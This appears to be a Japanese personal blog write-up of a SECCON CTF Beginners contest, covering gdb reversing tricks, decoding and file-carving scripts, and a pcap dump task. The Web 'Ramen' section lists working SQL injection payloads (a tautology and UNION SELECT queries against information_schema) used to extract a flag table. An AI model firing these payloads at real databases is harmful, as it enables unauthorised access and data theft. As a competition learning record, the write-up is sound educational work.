akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

5/26 SECCON CTF Beginnersに初参加したからWriteup書きたい

Reversing(バイナリ) 2 /4
Crypt(暗号) 1 / 4
Web 2 / 5
Mics(雑問) 3 / 4
Pwnable 0 / 4 ←ムズすぎ…

計 792 points

解けた問題を下記に列挙
※たまに載せてるスクリプトはまじで見せれるもの代物ではないですが、承知の上です。

■Rversing
・Seccommpare
peda付のgdbでごり押し
gdbでやるときは
gdb-peda$ start AAA
みたいに適当に引数付けて、あとはnexti連打してたらflagがスタックに表れてきたのでゲット

・Leakage
これもgdb様様
先ほどと同様に適当に引数付けて実行してみる

途中で文字列の長さを比較するような処理があった

   0x4005fa <is_correct+19>:	call   0x4004d0 <strlen@plt>
   0x4005ff <is_correct+24>:	cmp    rax,0x22
   0x400603 <is_correct+28>:	je     0x40060c <is_correct+37>
   0x400605 <is_correct+30>:	mov    eax,0x0
   0x40060a <is_correct+35>:	jmp    0x40065e <is_correct+119>

これで文字列の長さ(0x22=34)が一致しないと処理が終了してしまうようなので、
cmpでブレイクポイントを設定して、raxに0x22を入れるという無理やりな方法でゴリ押し

gdb-peda$ set $rax = 0x22
gdb-peda$ nexti

という感じで、処理が終わらないようにレジスタの値を変えて進めると、

   0x400629 <is_correct+66>:	mov    edi,eax
=> 0x40062b <is_correct+68>:	call   0x4006d0 <convert>
   0x400630 <is_correct+73>:	mov    BYTE PTR [rbp-0x5],al
   0x400633 <is_correct+76>:	mov    eax,DWORD PTR [rbp-0x4]
   0x400636 <is_correct+79>:	movsxd rdx,eax

と気になる命令が。
このconvertが終わるとraxに「c」の文字列が入っていた

という具合に処理が終わらないように、根気強くレジスタの値を変えてながらこのあたりの作業を繰り返していくとflagがゲットできた

※多分プログラムかけば地道にレジスタ変える作業しなくて良かったと思うけど書こうとするよりこっちの方が早かった気がした。勉強する必要あるな。


■Crypt
・So Tired
Base64で変換した段階でバイナリっぽい出力されて最初全く分からなかった。

試しにBase64の出力を別ファイルに書き出してfileコマンドで見てみると
zlib compressed data
と出た。なんじゃこりゃ

調べてみると圧縮されたファイルらしく、解凍もできるみたい

ためしにpythonでdecompressしてみるとまた再びBase64らしき文字列が現れた!笑
なるほど..そういうことか

# -*- coding: utf-8 -*- 
import base64, zlib

f = open("encrypted.txt", "r")
data = f.read()

dec_data = data.decode("base64")
decomp = zlib.decompress(dec_data)

for i in range(499):

	dec_data = decomp.decode("base64")
	decomp = zlib.decompress(dec_data)

print decomp

結局Base64とzlibの圧縮が500回繰り返されたものだった。
解けたとき超気持ちかったこれ。


■Web
・Ramen
ちょうど自作の攻撃用Webページで練習してたやつとほぼ一緒のやつが出た

'or 1=1 #
でSQLiありそうだったので

' UNION SELECT table_name,1 FROM information_schema.tables #
スキーマのやつ使って存在するテーブルを調査

' UNION SELECT COLUMN_NAME, 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'flag #」
目的のテーブル名を指定し、保持しているカラムを調査

' UNION SELECT flag, 1 FROM flag #
でげっと

・Katusdon
クーポンの前半部分をbase64でデコードするだけ


■Mics
4問中3問クリアというまさかの稼ぎ頭ww

・welcome
これは、まぁ、うん

・container
ほんまにこれ!!めっちゃ嬉しくて叫んだ!笑
最初この問題「あ、むりだ」て思ったけど、どうも画像ファイルが含まれてるのは分かるもんだから諦めたくなかった

root@kali:~/Downloads/mics# cat e35860e49ca3fa367e456207ebc9ff2f_containers | hexdump | head -10
0000000 4f43 544e 4941 454e 2e52 4946 454c 2e30
0000010 5089 474e 0a0d 0a1a 0000 0d00 4849 5244
0000020 0000 8000 0000 8000 0608 0000 c300 613e
0000030 00cb 0000 7301 4752 0042 ceae e91c 0000
0000040 0400 4167 414d 0000 8fb1 fc0b 0561 0000
0000050 0900 4870 7359 0000 c30e 0000 c30e c701
0000060 a86f 0064 0200 4961 4144 7854 ed5e 51d2
0000070 e38a 1040 d104 d13d 675e b50f f687 1fd0
0000080 6106 6c6a 2d4b 955b f11d 7f20 e825 3f8a
0000090 a137 0019 019c 19c0 9c00 c001 0019 019c

2行目の始めの4バイトが「5089 474e」
CTFチャレンジブックを思い出し、これ画像の拡張子じゃね?ってなった

root@kali:~/Downloads/mics# strings e35860e49ca3fa367e456207ebc9ff2f_containers | head -15
CONTAINER.FILE0.
IHDR
sRGB
gAMA
	pHYs
aIDATx^
ajlK-[
0TG~5
;-M\
IEND
FILE1.
IHDR
sRGB
gAMA
	pHYs
...

stringsコマンドでも、sRGBあるあたりとかどうも画像っぽい
そして38ファイルあるの予測

最初は地道にmacのhex finderで「5089 474e」ごとにコピーしてはpngフィイルとして保存する、というまた地道を繰り返していた
やりながら「いや、これはスクリプト組めるだろ!」ってなって作ったのがこれ

f = open("e35860e49ca3fa367e456207ebc9ff2f_containers", "rb")
data = f.read()
split_data = data.split("FILE")
f.close()

for i in range(38):
    f = open (str(i+1)+"_data.png", "w")
    if i+1 < 10:
        f.write(split_data[i+1][2:])
    else:
        f.write(split_data[i+1][3:]
    f.close()

各「5089 474e」の前に「FILE」って文字列があったからそれを区切り文字にして、あとは各要素をpngファイルとして書き出すというもの
スクリプト回したら、ザーッって画像ファイルが出てきて「わーーーー」ってなってさっきのmacでの作業はなんだったのだとなった。
でも10個目の画像が上手くいってなかったけど、それはmacで復元済みだったので、まぁよしとしよう。


■Dump
解けた時これも声出た

最初はpcapファイルをwiresharkで読み込んでhtmlファイルを取得
wiresharkがちょっと止まってしまうくらいのデータのデカさ

中身とコマンドの内容から、どうやらなんらかのflagなるファイルをhexdumpで8進数に、かつ3桁区切りで出力しているっぽい
そしてやはりかなりのサイズ


hexdumpあんまり知らないからxxdとかで復号できないかなと思ってもできなくて、これもスクリプト書いた

f = open("ctf/webshell", "r")
lines = f.readlines()
byte_arr = list()

for line in lines:
	split_line = line.split()
	for each_byte in split_line:
		byte_arr.append(each_byte)
f.close()

f = open("ctf/flag", "wb")
for d in byte_arr:
	f.write(chr(int(d, 8)))
f.close()

言っちゃえば、8進数をアスキー文字に変換してflagファイルに書き込んでいくやつ。
出力されたのが圧縮ファイルだったので解答すると桜の画像とともにflagげとー。


まとめ
ざっと書いたから間違えてるかもしれない。
3時間しか寝なかったけど、大健闘だったと思う。
頭抱える時間多かったけど、振り返るとすごく楽しかった。
時間の制限的に、全部の問題見れたわけではなかったけど